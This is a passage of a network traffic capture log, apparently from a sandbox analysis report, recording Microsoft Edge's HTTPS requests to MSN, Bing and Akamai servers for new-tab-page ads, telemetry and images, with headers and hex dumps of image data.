2024-11-08 14:21:13 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:13 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 72e8a890-701e-0068-5ba3-2c3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142113Z-16547b76f7f7scqbhC1DFW0m5w00000009f000000000nm91 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-08 14:21:13 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49803	20.75.60.91	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2DD296EDD8FB644F13F183DCD98E6569&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c79db82bc6ba4c91f7cf654ec5b478bb HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1
2024-11-08 14:21:14 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 08 Nov 2024 14:21:13 GMT Connection: close
2024-11-08 14:21:14 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49807	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:14 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ4 Last-Modified: Sat, 02 Nov 2024 11:26:21 GMT X-Source-Length: 49906 X-Datacenter: westus X-ActivityId: 4461e2c6-895e-47d3-b0da-9bb8ec9ac6ea Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 49906 Cache-Control: public, max-age=291879 Expires: Mon, 11 Nov 2024 23:25:53 GMT Date: Fri, 08 Nov 2024 14:21:14 GMT Connection: close
2024-11-08 14:21:14 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-08 14:21:14 UTC	16384	IN	Data Raw: e6 4b 4f 82 d8 58 56 bc ba 96 da 13 be 3b 7f 69 bc ad c9 ad 4b ce 97 ad 23 5c 27 e4 c4 66 d1 9e f5 42 72 49 a4 f6 ef fc 2c 85 8e f7 6a fc da b3 46 92 4a fd 7b 17 e2 63 29 f4 4c cf 83 73 11 f5 35 d1 05 d5 7b 12 7f 62 dc a2 aa a3 7d bf 92 3c f9 65 d1 51 ef 7b 24 b8 9a c2 d3 b9 ee fa 2e 8b b7 bf c8 4d 7b 64 8b 46 71 11 e3 dc e9 9c e7 2e 3b 2f 5e e3 06 ee e4 ba f5 7e 5f 80 d4 f5 cd 47 8c b8 d3 ee ef 13 8e 95 2a 7b 3d ff 00 82 33 11 86 a6 79 f1 61 37 d0 f3 f2 2a e0 75 bd db 31 96 36 d7 96 e9 76 f7 1e 8a ee 78 f5 3f 73 92 ae 0e 5f cc fe 4b f8 98 e9 6b 75 b5 70 3a 17 fa 31 7d ce 51 7e 4f 89 15 6a d7 53 b4 3c 53 19 c7 84 4b 3c 79 5e 39 79 75 5f 8a 3a 30 7a 79 a7 2e 0b ed dc 71 c9 51 d9 c9 34 b2 ef d6 2f f3 25 a3 74 cf 72 69 4c ed d2 b3 3b b6 9e 84 d2 c7 08 c7 f9 Data Ascii: KOXV;iK#\'fBrI,jFJ{c)Ls5{b}<eQ{$.M{dFq.;/^~_G{=3ya7u16vx?s_Kkup:1}Q~OjS<SK<y^9yu_:0zy.qQ4/%triL;
2024-11-08 14:21:14 UTC	1369	IN	Data Raw: d6 77 71 b4 77 e7 93 eb b6 52 d9 25 1e 3f 92 66 3c c4 5c 96 fd cf e1 e4 79 98 bc 5f 97 c9 5e f1 4b 13 ea eb 52 7e d5 bf c8 f5 71 57 3b 93 1c 31 35 97 54 b7 71 7f 44 3a fc b8 1c 76 66 bc 63 18 e3 2f a5 e7 e9 6a d6 62 96 8b 67 84 70 9f 87 14 47 0f bd 8f fb 29 46 4d fd 3b 2e 1f c0 f1 79 99 2c 79 30 e6 c1 e8 e4 8f d6 9f 18 ce 0f 83 8f 73 5c 7a 33 db e7 32 c3 97 c9 cb 63 c7 6f 0e 39 ea c9 29 35 aa 79 1b de 6e ba 35 55 dc 8f 17 9c 83 fe a6 73 86 ce 94 f6 f6 7a 5e 7d f6 75 d2 df 3b f8 4c 4e 3f bb c3 d5 4f ec 98 88 fd d5 b5 62 7b 62 78 e6 be 0f b4 e5 1a 78 b1 ce 51 8d 7b b9 39 c6 5b a5 ef 6a 55 f1 e0 78 f9 21 85 63 c8 b4 a7 06 ee f7 ae 1c 17 de 91 de e6 eb 04 21 e9 2c 91 8b ba d3 ad b8 a7 6d 2e 09 70 f2 39 25 e9 38 e3 6d 25 6e a3 d3 6e bc 38 d5 33 c9 58 c5 a6 73 Data Ascii: wqwR%?f<\y_^KR~qW;15TqD:vfc/jbgpG)FM;.y,y0s\z32co9)5yn5Usz^}u;LN?Ob{bxxQ{9[jUx!c!,m.p9%8m%nn83Xs
2024-11-08 14:21:14 UTC	16288	IN	Data Raw: 6f ef f9 1f aa bc 06 12 e5 97 71 ed d3 f5 4d 6a 71 9c f8 bc b7 e8 74 2f f4 c4 78 6e 7e 45 3e 43 3c 3a 59 c9 3c 39 23 c6 32 5e cf c8 fd 7a 5c 94 5f 43 8e 7e 1d 17 d0 f7 d3 d5 e3 ea af bd e3 bf a5 d3 e9 b5 a3 de fc 9e 86 7e 8b 93 c2 61 2f d2 8f 2f 27 82 43 a2 6b b0 f7 53 d4 ba 7b 73 98 78 ed e9 ba d1 c2 6b 6f 73 e3 80 fa 0c 9e 0f 92 3f 4b f8 a3 cf 9f 87 f3 10 fd 37 d9 fc 4f 5d 7a 8d 1b f0 bd 7e 2f 25 fa 6d 7a 71 d3 b7 cb 7b cf 03 69 61 cb 1e 30 92 f6 18 9d e2 62 78 3c f3 13 5e 31 80 22 84 30 84 22 80 09 01 80 52 00 02 00 00 60 20 00 08 00 00 a8 05 43 02 89 a1 51 60 13 0c 9a 15 1a 88 33 86 54 49 a8 a8 a9 86 65 46 53 83 b8 c9 c5 f7 a7 4f e4 3a 15 03 83 a9 f3 99 e4 aa 53 73 5f ee e3 f1 3d 7e 5b c4 71 2b 59 b5 2f f0 e5 8d 4b ea a8 c9 56 9f 25 e6 b7 3e 74 44 98 Data Ascii: oqMjqt/xn~E>C<:Y<9#2^z\_C~~a//'CkS{sxkos?K7O]z~/%mzq{ia0bx<^1"0"R` CQ`3TIeFSO:Ss_=~[q+Y/KV%>tD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49810	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:14 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=309391 Expires: Tue, 12 Nov 2024 04:17:45 GMT Date: Fri, 08 Nov 2024 14:21:14 GMT Connection: close
2024-11-08 14:21:14 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49806	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:14 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 01:23:33 GMT X-Datacenter: westus X-ActivityId: cb9047c4-4547-48fb-b4d6-e543e2becb13 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=298891 Expires: Tue, 12 Nov 2024 01:22:45 GMT Date: Fri, 08 Nov 2024 14:21:14 GMT Connection: close
2024-11-08 14:21:14 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49805	20.125.209.212	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	1175	OUT	GET /c.gif?rnd=1731075672839&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a64231390e1f474ea5727bf3a8d188dd&activityId=a64231390e1f474ea5727bf3a8d188dd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1
2024-11-08 14:21:14 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731075672839&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a64231390e1f474ea5727bf3a8d188dd&activityId=a64231390e1f474ea5727bf3a8d188dd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1A78D69714EC4D2CAF61F5784E14CBA6&RedC=c.msn.com&MXFR=2DD296EDD8FB644F13F183DCD98E6569 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2DD296EDD8FB644F13F183DCD98E6569; domain=.msn.com; expires=Wed, 03-Dec-2025 14:21:14 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Fri, 08 Nov 2024 14:21:14 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49811	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:14 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=324552 Expires: Tue, 12 Nov 2024 08:30:26 GMT Date: Fri, 08 Nov 2024 14:21:14 GMT Connection: close
2024-11-08 14:21:14 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49808	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:14 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:14 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=82030 Expires: Sat, 09 Nov 2024 13:08:24 GMT Date: Fri, 08 Nov 2024 14:21:14 GMT Connection: close
2024-11-08 14:21:14 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49809	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
